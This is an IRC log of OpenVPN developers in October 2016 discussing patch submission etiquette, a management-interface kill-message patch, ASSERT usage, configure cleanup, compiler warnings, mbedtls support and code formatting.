month ago 08:41 < ordex> oh ok 08:41 <@plaisthos> mattock: the release code does not contain a server :) 08:41 <@plaisthos> James has a working one 08:42 < ordex> nothing that we can play with then :) 08:42 <@plaisthos> you can build a client with that code 08:42 <@plaisthos> :) 08:42 < ordex> :D 08:42 <@plaisthos> e.g. you can compile OpenVPN for Android with OpenVPN 3 code 08:43 < ordex> sure 08:43 < ordex> but the fun part here is on the server :) 08:43 <@plaisthos> ordex: yes in your case a malicious client can dos you 08:43 < SviMik> release? can my yesterday patch be included? :D 08:44 <@plaisthos> SviMik: which patch? 08:44 < SviMik> http://svimik.com/manage_client-kill_v1.1.patch 08:44 < SviMik> I've added an option to specify the kick reason, when kicking a user with management interface, like: 08:44 < SviMik> client-kill 4 HALT,hello world 08:44 < SviMik> kill ihatethisuser HALT,hello world 08:44 < SviMik> kill 123.34.56.78:2245 HALT,hello world 08:44 < SviMik> also can choose whether you want to kick (HALT) or send reconnect command (RESTART) 08:44 < SviMik> the message will be displayed in client log, like 08:44 < SviMik> Sun Oct 16 16:54:27 2016 us=93750 Halt command was pushed by server ('hello world') 08:45 < SviMik> Works without client changes (existing clients will also understand that!) 08:45 < SviMik> The command syntax is backward compatible (i.e. the message is optional). 08:47 <@plaisthos> SviMik: have you posted that to openvpn-devel? 08:47 < SviMik> not yet 08:47 < SviMik> just was going to post today 08:47 <@plaisthos> SviMik: you need to remove the /* was: comments 08:48 < SviMik> plaisthos that comment was originally in openvpn code in another function :) 08:49 <@plaisthos> yes but have git log for that 08:49 <@plaisthos> not comments in the code 08:50 <@cron2> SviMik: you've not sent it to the list yet... 08:50 <@cron2> mattock: I broke your builder \o/ 08:51 <@cron2> cd: can't cd to ... /openvpn-2.3_git 08:51 < ordex> <o> 08:51 <@cron2> success! 08:51 <@cron2> now, off to Kindergarten 08:56 <@plaisthos> ordex: otherwise the patch looks reasonable on the first glance 08:56 < SviMik> cron2 the subject is free to choose, or some tags are neccessary? 08:56 < ordex> plaisthos: but you haven't seen it yet! thanks for the trust :D 08:57 <@plaisthos> err 08:57 < ordex> :P 08:57 <@plaisthos> that should go to SviMik 08:57 < SviMik> :) 08:57 <@plaisthos> SviMik: git send-email will use the first line of the git commit as subject 08:58 < SviMik> not using, plain diff :) I can send mail manually, can I...? 08:58 <@plaisthos> you can also use git format-patch and send it as attachment 08:58 < SviMik> just attach the patch file (or put to message body?) 08:59 <@plaisthos> (unless you plan on sending multiple patches in that case we might be more annoyed that you did not setup git send-email 08:59 <@plaisthos> git format-patch will spit out a whole rfc2822 format email 09:00 < SviMik> my patch is quite simple :) can I send just as a regular email with a file attachment? 09:00 <@plaisthos> cron2 and dazo are the ones who finnally have to applies the patches so it is them who need to do more work 09:01 <@plaisthos> but by all means anything that is not git send-email or at least a git format-patch as attachment will be extra work for them 09:01 < ordex> SviMik: why not using git send-amil ? it will make it easier for you and avoid to break the patch 09:02 < SviMik> just because I didn't use git this time! 09:02 < SviMik> I just edited the file, and ran diff -rupN ... 09:02 <@plaisthos> SviMik: also patch needs to be against master 09:02 <@plaisthos> not 2.3 09:03 <@plaisthos> patches are first applied against master and if reasonable also against stable 09:03 < SviMik> I though if you're not using pull requests, then there I don't need the git... 09:04 <@plaisthos> pull requests are just github specific 09:05 < ordex> well, you can do pull request even without github 09:05 < ordex> but still, that is just one feature of git :) 09:06 < SviMik> okay. I will set up git, and make a new patch later... :( 09:06 < SviMik> just this thing "we're not using git for development" confused me 09:08 < ordex> if the patch is easy, it should be fast 09:08 < ordex> btw, not sure why I am talking thi much as I am not a openvpn developer :D 09:11 < SviMik> plaisthos you mean against v2.4_alpha1 master, right? 09:18 <@plaisthos> SviMik: using github for development 09:18 <@plaisthos> SviMik: openvpn master branch 09:18 <@plaisthos> that happens to be at the moment to be v2.4_alpha1 09:19 * SviMik is trying to understand how to use git format-patch 09:19 <@plaisthos> use git commit as you would normally do 09:19 <@plaisthos> and then just use git format-patch HEAD~1 09:20 <@plaisthos> that should give a new file 0001-blablabalba.patchb 09:21 < SviMik> plaisthos like that? http://svimik.com/0001-Management-kill-and-client-kill-Add-optional-message.patch 09:21 < SviMik> looks like a... patch :) 09:21 < SviMik> is it ok? 09:21 <@plaisthos> SviMik: yeah, looks like a patch but has extra header and message before that patch part 09:22 <@plaisthos> your commit message probably needs work 09:22 <@plaisthos> first line should be something like 09:22 <@plaisthos> "add optional message parameter to management kill and whatever command" 09:23 <@plaisthos> and then comes a bit longer explainaition what hte patch does 09:23 <@plaisthos> you will find git commit --amend useful in your situation 09:23 < ordex> btw, git format-patch -1 also works 09:23 < ordex> :p 09:23 < SviMik> I can just edit comment in the patch... :) 09:24 <@plaisthos> SviMik: that is okay too 09:25 < SviMik> plaisthos should I put all the long description there? I thought it goes to mail message 09:27 <@plaisthos> with git-send-email that 0001-*.patch file is the email 09:28 <@plaisthos> basically we would like every commit to have a good commit message 09:28 < SviMik> so instead of attaching a file, I just copy and send this as text? 09:28 <@plaisthos> no 09:28 <@plaisthos> that will probably break the patch file 09:29 < SviMik> arrrgh... imagine I use gmail, what would I do? 09:29 < SviMik> web interface, no mail clients 09:29 <@plaisthos> either send that file with git send-email (preferable) or include it as an attachment 09:33 <@mattock> now I know how to run the management interface in C# 09:36 < SviMik> plaisthos edited the comment manually. is it ok? http://svimik.com/manage_client-kill_v1.2.patch 09:37 < SviMik> I guess 5-8 lines are ok for commit comment, the rest will go to email, while patch just being attached 09:41 <@plaisthos> SviMik: hm that is not really a good commit message I am afraid 09:41 <@plaisthos> a why and what is more useful 09:41 < SviMik> sorry, just never sent patches openvpn-devel :) not sure what the guidelines are 09:42 <@plaisthos> just like regular good git commit messages 09:42 <@plaisthos> look at the existing commits of openvpn to get a feeling 09:42 <@plaisthos> with your patch the user has to know the the magic words 09:42 <@plaisthos> e.g. HALT and RESTART 09:42 <@plaisthos> and that message and command are seperated by a , 09:43 < SviMik> just never saw something like a backstory in commit messages :D 09:43 <@cron2> SviMik: basically, the reason people use gmail and web ui is that "git send-email" *exists* 09:44 <@cron2> because it will get things right - everything else just mangles whitespace, wraps lines, massacres stuff, and produces something that does not work at our end 09:44 <@plaisthos> SviMik: most project are not security sensitive 09:44 <@cron2> you can tell git send-email to use gmail for sending (it can do SMTP with TLS and auth) 09:44 <@plaisthos> SviMik: most users will run into msg (D_PUSH_ERRORS, "WARNING: Received unknown control message: %s" on the client 09:44 < SviMik> because it will get things right // not my commit message :D 09:45 <@plaisthos> if someone trys kill-cn foo@bar.de "Go away " it will not work as expected 09:45 <@plaisthos> as the right command would kill-cn foo@bar "HALT,Go away" 09:45 <@cron2> SviMik: the result of "git send-email" will be very close to "git show" - very reasonable subject: line, then the commit in the body, and the patch at the end, in a way that "git am" can then apply it woult extra reconstruction work for dazo and me 09:46 <@cron2> there is only one thing that can even hurt git send-email, and that is "injecting into an exchange server" 09:46 <@cron2> d12fk did that 09:46 <@plaisthos> I should try that next time :) 09:46 < SviMik> how the "git send-email" works? I have to setup smtp things so it could send from my mailbox?... 09:48 < ordex> SviMik: you can setup the smtp server, yes, so it would use it when sending the email 09:48 < SviMik> plaisthos right, probably the syntax is not very clear... probably I should split "HALT,Go away" into two arguments... 09:52 < SviMik> OK, not sending the patch today. will read the mailinglist to get an idea how to write commit messages... 09:52 < SviMik> and maybe change the command syntax as plaisthos mentioned it is not quite clear 09:55 < SviMik> and/or add a syntax checking 10:01 <@plaisthos> or split that into two commands 10:01 <@plaisthos> restart-client and kill-client 10:01 <@plaisthos> which default to HALT and RESTART respecilty 10:01 <@plaisthos> or add a third optional command that tell the users if you want restart or halt 10:04 <@d12fk> i like it the way it is, since kill is restarting it doesn't make sense to have restart kill. 10:04 <@d12fk> the other way around would be backwards incompatible 10:06 < SviMik> coding and testing - 1 hour, making a good commit - (still calculating) 10:09 < SviMik> I can make 3rd argument to be either HALT/RESTART (then look for a message starting from 4rd argument), otherwise assume 3rd is a message 10:10 < SviMik> that will result in: 10:10 < SviMik> 1) kill user_cn 10:10 < SviMik> 2) kill user_cn HALT 10:10 < SviMik> 3) kill user_cn hello world 10:10 < SviMik> 4) kill user_cn HALT hello world 10:12 <@plaisthos> no explicit assumption please 10:12 <@plaisthos> implciit assumption 10:12 <@plaisthos> these tend to break 10:13 < SviMik> any other ideas? 10:14 <@plaisthos> add restart command or rquire HALT/RESTART as 3rd argument or optional 4 argument that is "RESTART or HOLD" 10:18 <@plaisthos> otherwise a typo will kill a client that you intended to restart 10:21 < SviMik> or rquire HALT/RESTART as 3rd argument \\ looks like a good option. will do that 11:31 <@d12fk> this argv_* collection of functions is a can of worms 11:32 <@d12fk> requires desperate cleanup 11:32 * d12fk to the rescue =) 11:49 <@d12fk> poll: should we keep the testing code in misc.c:1968-2047 12:09 <@mattock> cron2: regarding "IPv6 routes messed up after openvpn is killed forcibly"... it seems that IPv4 parts are able to recover cleanly from all the misuse I could throw at them 12:10 <@mattock> is there something in the IPv6 code that prevents this kind of robustness? 12:12 <@mattock> or error-tolerance 12:12 <@mattock> openvpn-gui also seems affected by that issue 12:14 <@mattock> gui is fixable by using the management interface 12:15 <@mattock> fixing openvpnserv2 might be tricky, though, as it only monitors the process, which could die for whatever reason (e.g. out of memory) 12:41 <@cron2> mattock: IPv6 uses netsh.exe while IPv4 uses IPAPI (by default), and maybe one of them is just replacing the route while the other is barfing 12:47 <@cron2> d12fk: this sounds like something we want, but want it in unit test form, so it's actually run by "make check"... 12:47 <@cron2> (so it should also validate the result) 13:57 <@dazo> d12fk: generally speaking, I think we should kick out all #if 0 type of testing code and port it to a proper unit test, as cron2 suggests 13:58 < Thermi> You shouldn't have any asserts in production code anyway, so work is required regardless. :P 14:02 <@dazo> I disagree to that. If assert() is used properly, it is a very sane emergency break ... but it should only be used when critical situations can appear ... like crypto not working as it should, memory issues which cannot be "resolved" during runtime, etc 14:07 < Thermi> if you actually do preliminary testing of functions when starting, then yes, you can do asserts there. But they shouldn't be in code that handles any network packets or occur at times when the service was started and in situations that can be caused by unprivileged users 14:08 <@cron2> our ASSERT()s are in "if we're here, this pointer is assumed to be != NULL" (so code further down will not check, and there is an initial ASSERT() to ensure that it truly is not). Stuff like that 14:09 <@cron2> and sometimes people change an unrelated part of the code, violating function contracts - and the pointer ends up being NULL. ASSERT() fires, program ends properly, log file tells "*that* was violated, go fix your code!" 14:09 < Thermi> can't you just bail "normally" there? 14:09 < Thermi> When ptr == NULL then just return 1 orsomething 14:10 <@cron2> and then what? 14:10 < Thermi> handle that error in the function that called that function 14:10 <@cron2> if a function contract is violated, it is not safe to go on 14:10 < Thermi> ah, k. 14:11 <@cron2> and "this must not be NULL when entering x()" is such an assumption - of course we do not ASSERT() on "normal runtime errors" (like a socket closing on us, etc) 14:11 <@cron2> or garbage coming in from the wire :) 14:11 < Thermi> :) 17:11 * ecrist continues work on mail archive 22:19 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 248 seconds] 22:21 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:22 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Tue Oct 18 2016 00:45 < ordex> cron2: about this topic: why making such assumption and not handling the case? even just exiting gracefully and printing a proper message 00:46 < ordex> maybe ASSERT does this for us .. does assert also prints file/line ? 01:38 <@mattock> I see we have a new tag 01:39 <@mattock> I probably won't have time to make the release today, but I'll put the wheels in motion at least 01:40 <@mattock> INSTALL-win32.txt migration will have to wait a bit, or I have to just overwrite it in openvpn.nsi 01:40 <@mattock> apt repos I'll do after the release 02:17 <@mattock> windows installers in the oven 02:19 <@cron2> ordex: ASSERT() will print file/line - that actually *is* "exit gracefully and tell people where it blew up" 02:19 < ordex> ok 02:19 < ordex> then it just does what I had in mind :) 02:19 * ordex is not familiar with ASSERT 02:19 <@cron2> and, mentioning ASSERT, I wonder what I blew up just now :-) 02:19 <@cron2> Tue Oct 18 09:11:05 2016 Assertion failed at ../../../openvpn-testing/src/openvpn/misc.c:777 02:21 <@cron2> mmmh, this is 02:21 <@cron2> ASSERT (name && strlen (name) > 1); 02:21 <@cron2> "someone tried to set an environment variable and passed an empty name for it, or a null pointer" 02:22 <@cron2> let me see if I can reproduce this :-) 02:23 <@cron2> *sigh*... not easily 02:26 < ordex> or a 1 char variable 02:26 <@cron2> well, actually that is "name=value", so "=" alone is also not sufficient :) 02:26 < ordex> :) 02:27 < ordex> ok 03:02 <@plaisthos> cron2: can that be exploited by setting UV_DOS=""? 03:05 <@plaisthos> oh name has to be zero length 03:06 <@cron2> plaisthos: I don't think so. empty env variables are ok... "setenv =" might trigger it... 03:07 <@plaisthos> cron2: just trying something 03:07 <@cron2> that particular ASSERT() was triggered by a combination of --ifconfig-noexec AND connection failure AND SIGTERM... not sure if I can reproduce it, but will try :) 03:07 <@plaisthos> configuring openvpn takes longer than compile 03:08 <@cron2> this is getting worse over time, for many packages - configure is not multithreaded, while "make -j8" then uses all the cores... 03:08 <@plaisthos> yeah 03:08 <@cron2> we need to throw out garbage from configure.ac - stuff we do not use, stuff that will always be there (and we have no compat- function anyway), etc. 03:09 <@plaisthos> like this checking for gethostbyname 03:09 <@plaisthos> and then using getaddrinfo :D 03:09 <@cron2> for example :) 03:26 <@plaisthos> Oct 18 10:22:15 hermes ovpn-udp-v6[2414]: 2001:638:502:40:6cc8:2d10:4830:406c validation failed on peer_info line received from client 03:26 <@plaisthos> no the server does not like it 03:26 <@plaisthos> :) 03:27 <@cron2> good :-) 03:36 <@plaisthos> http://plai.de/.tmp/openvpn-config.txt 03:36 <@plaisthos> a lot of stuff is not used 03:37 <@plaisthos> [10:31]arne@apache:~/www/.tmp% grep -c HAVE openvpn-config.txt 03:37 <@plaisthos> 163 03:37 <@plaisthos> [10:32]arne@apache:~/www/.tmp% grep -c 0 openvpn-config.txt 03:37 <@plaisthos> 43 03:37 <@plaisthos> a quarter of the checks are not used 03:37 <@cron2> HAVE_DECL_SIGHUP, that is one I've never seen before :-) 03:38 <@cron2> HAVE_INET_NTOA... I think we're not even using ntoa() anymore, are we? 03:39 <@plaisthos> or assume it is there 03:39 <@plaisthos> we just assume that it is there 03:44 <@plaisthos> some of the other variables usage is dubious at best 03:44 <@plaisthos> src/openvpn/syshead.h:#if defined(ENABLE_PORT_SHARE) && P2MP_SERVER && defined(SCM_RIGHTS) && defined(HAVE_MSGHDR) && defined(HAVE_CMSGHDR) && defined(HAVE_IOVEC) && defined(CMSG_FIRSTHDR) && defined(CMSG_NXTHDR) && defined(HAVE_RECVMSG) && defined(HAVE_SENDMSG) 03:44 * cron2 remembers having seen that, just recently :-) 03:45 <@cron2> ah, no, that's another one with CMSG_FIRSHDR... 03:45 <@plaisthos> oh 03:46 <@plaisthos> there are also false postives in my list 03:46 <@plaisthos> HAVE_SEND is only not 0 because HAVE_SENDMSG is used 03:48 <@plaisthos> hm socket options are already split in socket options and optional socket options 03:49 <@plaisthos> so however wrote that script included them as "let configure blame instead of failing to compile" 03:49 <@plaisthos> th is probably the better configure way 03:50 <@cron2> that seems to be some of the motivation "fail in configure, not in compile", right - so will it actually fail, or just #define HAVE_XXX 0? 03:50 <@plaisthos> cron2: [AC_MSG_ERROR([Required library function not found])] 03:50 <@plaisthos> yes 03:51 <@plaisthos> will fail 05:35 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 256 seconds] 05:37 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 05:37 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 05:51 < ordex> !mailinglist 05:51 < ordex> mh no .. how was that .. 05:52 < SviMik> ordex openvpn-devel@lists.sourceforge.net 05:52 < ordex> SviMik: I'd like ot have hte link to subscribe 05:52 < ordex> do you have it at hand ? 05:52 < SviMik> ordex https://lists.sourceforge.net/lists/listinfo/openvpn-devel 05:52 <@vpnHelper> Title: Openvpn-devel Info Page (at lists.sourceforge.net) 05:53 < ordex> thanks ;) 06:06 <@dazo> \o/ ... 2.4_alpha1! 06:09 <@plaisthos> \o/ 06:09 <@dazo> plaisthos: do you plan to kill the 'struct user_pass up;' declaration in tun.c:1626 ? 06:09 <@dazo> afaik, it's not needed 06:09 <@plaisthos> dazo: should I do a single "cosmetic" commit? 06:09 <@dazo> do you have any other changes planned for tun.c? 06:09 <@dazo> or other minor clean-ups? 06:10 <@dazo> if we have more clean-ups, we can surely put it into one of those 06:10 <@plaisthos> I have no other cleanups planned at the moment 06:11 <@plaisthos> but I can keep as commit in my local tree so I don't forget it 06:11 <@dazo> that makes sense! 06:12 <@plaisthos> we need to get rid of the other clang warnings so I see that warning again 06:12 <@dazo> great! 06:13 < ordex> plaisthos: do you have the list ID of openvpn-devel at hand ? 06:13 * ordex is creating a filter and I haven't received any message yet 06:14 <@dazo> List-Id: <openvpn-devel.lists.sourceforge.net> 06:14 < ordex> thanks ! 06:17 <@plaisthos> ordex: your subscript notification should already have the list-id in it 06:17 < ordex> right 06:17 < ordex> I thought about that later :) sorry 06:17 < ordex> dazo was faster than my brain 06:19 <@dazo> I'm cleaning up the Author stuff in git ... using .mailmap ... Are there anyone who knows/remember some Author references which should be updated? 06:21 <@plaisthos> you already had a look at git log --all --format='%aN <%cE>' | sort -u? 06:21 <@plaisthos> this rf guy 06:21 <@plaisthos> rf <dazo@users.sourceforge.net> 06:21 <@dazo> yeah such things is what I'm trying to fix 06:21 <@plaisthos> also wtf => janjust <gert@greenie.muc.de> 06:22 <@dazo> good one git log command though! 06:22 * dazo used git shortlog -e 06:22 <@plaisthos> also I or steffan screwed up 06:22 <@plaisthos> Steffan Karger <arne@rfc2549.org> 06:22 <@plaisthos> dazo: I just googled it: http://www.commandlinefu.com/commands/view/4519/list-all-authors-of-a-particular-git-project 06:23 < ordex> if an option is unsupported by MBEDTLS, should I put #if defined...bla bla all over the place? or is there a better way to handle that ? 06:23 <@plaisthos> David Sommerseth <dazo@privateinternetaccess.com> 06:23 <@plaisthos> you will have that documented there forever :) 06:23 <@dazo> that's reasonable, I think ... it should work, if PIA have kept their side of the deal ;-) 06:24 <@dazo> there's also several davids@redhat.com, which is fair enough ... and those now goes to my last manager :-P 06:24 <@plaisthos> I think my command confuses author and commiters email 06:24 <@dazo> Yeah, I think so too 06:25 <@dazo> $ git log | grep "Author" | grep "Karger" | sort -u 06:25 <@dazo> Author: Steffan Karger <steffan.karger@fox-it.com> 06:25 <@dazo> Author: Steffan Karger <steffan@karger.me> 06:25 <@plaisthos> --format='%aN <%aE>' looks more resonable 06:25 <@plaisthos> aN author Name aE author email 06:25 <@plaisthos> combinding aN uathor Name with commiters email is going to be strange :) 06:25 <@dazo> yeah 06:25 <@dazo> :) 06:27 <@plaisthos> git log --format='%aN <%aE>' | sort | uniq -c | sort -n 06:27 <@plaisthos> Both Davids are behind Alon 06:28 <@dazo> ewwww! ;-) And now I'm starting from scratch again! :-P 06:28 <@plaisthos> that lists looks pretty reasonable, cron2 has a few ood ones 06:28 <@dazo> fixing those too 06:39 < ordex> mh.. with --enable-pedantic I get so many warnings ... not sure it is useful 06:41 * ordex gets the house keeper dress 06:42 <@dazo> it's not useful if it's not fixed :/ 06:43 <@syzzer> ordex: before you start cleaning up the ntlm mess: I have a patch for that wait in my patch queue, but it's waiting for actual code fixes first :) 06:43 * dazo admits it's way too long since he did a pedantic run last time 06:43 < ordex> no problem, I was not really going to clean this up now :D 06:43 <@syzzer> ok, good. ask around before you take something up, otherwise you might just be doing double work :)( 06:43 <@dazo> syzzer: would you have time soonish to have a look at the rest of the auth-gen-token patches? 06:44 <@syzzer> dazo: yes, I hope to have some time tomorrow night :) 06:44 <@dazo> syzzer: cool! thx a lot! I appreciate you looking at it! 06:45 <@syzzer> ordex: it you want to get rid of some warnings, you could see if you argree with my patch here: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg12579.html 06:45 <@vpnHelper> Title: [Openvpn-devel] [PATCH] Don't deference type-punned pointers (at www.mail-archive.com) 06:47 <@syzzer> (or can I maybe trick dazo in looking into this...? ;) ) 06:48 <@plaisthos> syzzer: we did not get that acked? 06:48 <@syzzer> dazo: it's a feature I believe is useful, and makes the block cipher renegatiations a lot less hurtful 06:48 <@syzzer> plaisthos: list says no 06:48 <@plaisthos> syzzer: hm 06:48 <@plaisthos> I can ack this 06:49 <@syzzer> plaisthos: that would be great - one less patch to rebase with my local tree 06:49 <@dazo> syzzer: I sure can have a look at cleaning up stuff 06:50 <@syzzer> dazo: great :) - but plaisthos beat you to it in this case 06:50 * dazo does too much things in parallel :) 06:50 <@dazo> didn't notice plaisthos's readiness :) 06:52 <@plaisthos> syzzer: I actually read the article and wondered about that stuff and look into it 06:52 <@plaisthos> but never acked it 06:56 <@plaisthos> openvpn//src/openvpn/forward.c:160:6: warning: implicit declaration of function 'incoming_push_message' is invalid in 06:56 <@plaisthos> C99 [-Wimplicit-function-declaration] 06:56 <@plaisthos> *sigh* 06:56 <@plaisthos> more c99 breakage 06:57 <@dazo> I'm just going to push out the .mailmap changes without any review ... that is so uncritical it makes no sense to have a full review process on it. 06:57 * dazo added a little doc to the commit message, though 06:58 <@plaisthos> anyone <anyone> Evil Hack4r #1 <super@evil.corp> 06:58 <@dazo> hehe ... it's not exactly well hidden ;-) 06:59 <@plaisthos> James <spy@nsa.gov> 06:59 <@plaisthos> David <spy@norwegian-spy.no> 06:59 <@plaisthos> etc. ;) 06:59 <@syzzer> plaisthos: yes, these type-punning rules are questionable, but if the standard says it... 06:59 <@plaisthos> Selva <agent@kgb.ru> 06:59 <@cron2> I wanted to look into the type-punned rules before commenting on the patch, but was too busy 07:00 <@dazo> heh ... but it hardly makes the OpenVPN behave differently ... and it'll only make git shortlog more funny in the next release ;-) 07:00 <@cron2> the patch is ugly as hell :-/ 07:00 <@syzzer> we can also add -fno-type-punning (or smth like that) to CFLAGS, but that's for less portable than complying with the standard... 07:00 <@plaisthos> cron2: but it is only like 3 places 07:00 * dazo prefers standards > CFLAGS 07:00 <@plaisthos> if it were all over the code I would have been reluctant to ACK it 07:01 <@cron2> even small pockets of ugliness are ugly... - but without having read up on this, I can't make a better patch 07:02 <@syzzer> well, I'd prefer a less ugly patch too, so I'm perfectly fine with stalling this until you've got a chance to try and do that :) 07:02 <@vpnHelper> RSS Update - gitrepo: Update .mailmap to unify and clean up odd names and e-mail addresses <https://github.com/OpenVPN/openvpn/commit/a47d34920a4e6e522592ba7bd0e6ff755aab8c5b> 07:03 <@plaisthos> it is not a patch that replaces all #ifndef FOO_H with #pragma once 07:03 <@syzzer> plaisthos: we had that? : 07:05 <@plaisthos> syzzer: no but some intel c compiler had a default that complained that FOO_H stuff should be replaced by #pragma once 07:13 < ordex> I think it is almost the same, no ? 07:13 <@plaisthos> yes it is 07:13 <@plaisthos> Both have their merrits 07:13 <@plaisthos> I prefer pragma once 07:14 <@plaisthos> that at least explodes if you include the same header file in two different places 07:17 <@plaisthos> openvpn//src/openvpn/route.c:1467:52: warning: passing 'uint8_t *' (aka 'unsigned char *') to parameter of type 'const char *' converts between pointers to integer types with different 07:17 <@plaisthos> sign [-Wpointer-sign] 07:17 <@plaisthos> management_android_control (management, "ROUTE", buf_bptr(&out)); 07:18 <@plaisthos> should we introduce buf_chrptr? 07:18 <@plaisthos> or just I just cast 07:18 <@cron2> this is one of the warnings where I consider the gain highly dubious... *sigh* "it's a pointer to memory, damnit" 07:19 < ordex> if it's just a pointer, why is the function not using "unsigned" ? 07:19 < ordex> shouldn't that be fixed ? 07:19 < ordex> instead of casting 07:19 * ordex is just wondering 07:19 <@cron2> because other callers of that function pass in strings 07:20 < ordex> mh 07:20 <@cron2> (it will construct a string = char[] message to send via mgmt interface) 07:21 <@plaisthos> could also be one of these usigned char vs signed char on different char things 07:21 < ordex> does the function assume the buffer is null terminated ? 07:21 <@cron2> yes 07:21 < ordex> oh ok, so it definitely thinks it is a string 07:21 < ordex> okok 07:21 < ordex> sorry for speaking without reading the code first :p maybe I should do that first 07:21 <@plaisthos> I have no idea what i86 has 07:22 <@plaisthos> arm64-v8a has a a signed char 07:22 <@cron2> plaisthos: well, the compiler is free to decide what a char should be, I think, and unless you do math ops with it, it does not really matter anyway 07:24 <@plaisthos> cron2: I think that is the reason why this gives no warning on our usual (x86) platforms 07:59 <@dazo> syzzer: have you tried to look at the assembly of the mroute.h code? 08:00 <@dazo> (which the compiler makes, that is) 08:00 <@cron2> plaisthos: and I thought this is because we do not use -Wall? 08:02 <@plaisthos> cron2: no 08:02 <@plaisthos> on x86 you cast between unsigned char and uint8 08:02 <@plaisthos> which are identical 08:02 <@plaisthos> on arm you cast between signed char and uint8 which the compiler does not like 08:04 <@dazo> syzzer: I copied the mroute_extract_in_addr_t() from mroute.h to a new file, stripped out the 'static inline' and did 'gcc -S -c -O1 test.c' ... and the assembly is identical with and without your change :/ 08:04 <@dazo> Trying the examples from the blog post, and I get full profit 08:05 <@dazo> .ident "GCC: (GNU) 4.8.5 20150623 (Red Hat 4.8.5-4)" 08:05 <@dazo> not saying this fix isn't needed ... and this might be the "unpredictable behaviour" it talks of 08:06 < ordex> any idea if I should go for #if defined(X) of #ifdef X ? 08:06 <@dazo> mroute_extract_in_addr_t: 08:06 <@dazo> .LFB29: 08:06 <@dazo> .cfi_startproc 08:06 <@dazo> movb $2, 2(%rdi) 08:06 <@dazo> movb $0, 3(%rdi) 08:06 <@dazo> movb $4, (%rdi) 08:06 <@dazo> bswap %esi 08:06 <@dazo> movl %esi, 4(%rdi) 08:06 <@dazo> ret 08:06 <@dazo> .cfi_endproc 08:06 <@plaisthos> ordex: tomato or tomato ;) 08:06 < ordex> apples ! 08:06 < ordex> it was more about style :P 08:06 < ordex> I make the decision then :D 08:07 <@dazo> ordex: that's basically the same ... but if later on it is needed/wanted to check for more defines, then #if defined(x) && defined(y) is needed 08:07 <@plaisthos> ordex: I think openvpn uses more ifdef/ifndef for simple things 08:07 <@plaisthos> I don't care 08:07 <@plaisthos> I don't know if dazo or cron2 cares 08:07 <@dazo> #ifdef is more used, so I'd slightly prefer that one for single checks 08:08 < ordex> ok 08:08 < ordex> using that then 08:08 < ordex> it is an easy check 08:08 < ordex> can be converted later (or removed actually) 08:08 < ordex> I am using it simply because I have not implemented the mbedtls counterpart of my mechanism, so I want to comment it out when OPENSSL is not defined/used 08:08 < ordex> when the mbedtls part is implemented later, then this can be removed 08:09 <@dazo> ordex: hmmmm .... we do not look lightly at adding new features without support for both .... but for review process, that's fine ... but for getting it included, we should have both libs covered 08:10 < ordex> oh 08:10 <@dazo> the only exceptions we allow is when one of the libraries are lacking the needed support 08:10 < ordex> ok thanks for letting me know 08:10 < ordex> ok, makes sense 08:10 < ordex> any suggestion how to test mbedtls without setting up a VM using it only ? 08:10 < ordex> not sure how easy this would be without a VM .. 08:10 < ordex> mh 08:11 <@dazo> ordex: just install the latest polarssl/mbedtls libaries ... and use ./configure --with-crypto-library=mbedtls 08:11 < ordex> mh let's see if my system allows both to exist 08:11 < ordex> they both provide libssl.so I guess (?) 08:11 <@dazo> yeah, that's no problem 08:12 <@dazo> nope, they can both coexist .... no collisions 08:12 < ordex> oky, thanks 08:12 < ordex> ! 08:12 < ordex> going for mbedtls-2.2.1 (latest stable here) 08:14 <@dazo> I don't recall the support matrix for mbedtls ... syzzer knows that, though .... the challenge with mbedtls is that the API earlier have had changes, so it has been some additional work for us to stay up-to-speed with them 08:15 <@plaisthos> ordex: it provides libmedtls.so or something like that 08:16 <@dazo> #if MBEDTLS_VERSION_NUMBER < 0x02000000 || MBEDTLS_VERSION_NUMBER >= 0x03000000 08:16 <@dazo> #error invalid version 08:16 <@dazo> #endif 08:16 <@dazo> okay, so mbedtls-2.x.y is supported 08:20 < ordex> goed :D 08:25 <@cron2> dazo: I can see that it makes no difference since the existing code *works* :-) - but it might, if the circumstances are just right (other pointers involved, etc.) 08:29 < ordex> can I use tabs when I have to indent with more than 8 spaces ? or should I use spaces only ? 08:29 < ordex> the gnu codestyle does not say much - but I guess the latter 08:31 < SviMik> don't mix tabs with spaces! 08:31 < SviMik> ever! 08:31 <@dazo> cron2: right 08:31 < ordex> SviMik: never say never ! :P 08:31 < SviMik> cause different editors have different tab size 08:31 < ordex> SviMik: you should configure the editor to obey the codingstyle you are using 08:31 < ordex> :) anyway 08:32 < ordex> at least, imho 08:32 <@plaisthos> current style is 2 space but 8 spaces are replaced with a tab 08:32 < SviMik> not all editors have such option 08:32 <@plaisthos> only editor to get this coding style right is GNU emacs 08:32 < ordex> mh 08:32 < SviMik> and if I open it with Notepad, it will be totally a mess 08:32 < ordex> I am sure I can create a style file for vim too 08:33 < ordex> SviMik: I think opening code with notepad is a bad idea in general :P 08:33 < ordex> but it's up to you 08:33 <@plaisthos> https://gcc.gnu.org/wiki/FormattingCodeForGCC 08:33 <@vpnHelper> Title: FormattingCodeForGCC - GCC Wiki (at gcc.gnu.org) 08:33 <@plaisthos> gcc appearently uses the same weird style :) 08:34 <@cron2> can we get one of the modules reformatted to "The New Style" just to show how it would look like? Like, ntlm.c? 08:34 <@plaisthos> with the 8 spaces =1 tab feature! 08:34 <@cron2> ofc 08:34 < SviMik> also, changing the editor settings back and forth every time I switch between projects is... not what I wish to do... 08:35 < SviMik> when it's either all tabs or all spaces - it will be okay with any settings 08:35 < ordex> SviMik: that I understand..but you can script that 08:35 <@cron2> SviMik: you need a better editor 08:35 < ordex> plaisthos: yihaa! 08:35 < ordex> :) 08:36 < ordex> I follow https://gcc.gnu.org/wiki/FormattingCodeForGCC then 08:36 <@vpnHelper> Title: FormattingCodeForGCC - GCC Wiki (at gcc.gnu.org) 08:36 < ordex> https://www.gnu.org/prep/standards/html_node/Formatting.html#Formatting is a bit ... not enough 08:36 <@vpnHelper> Title: GNU Coding Standards: Formatting (at www.gnu.org) 08:37 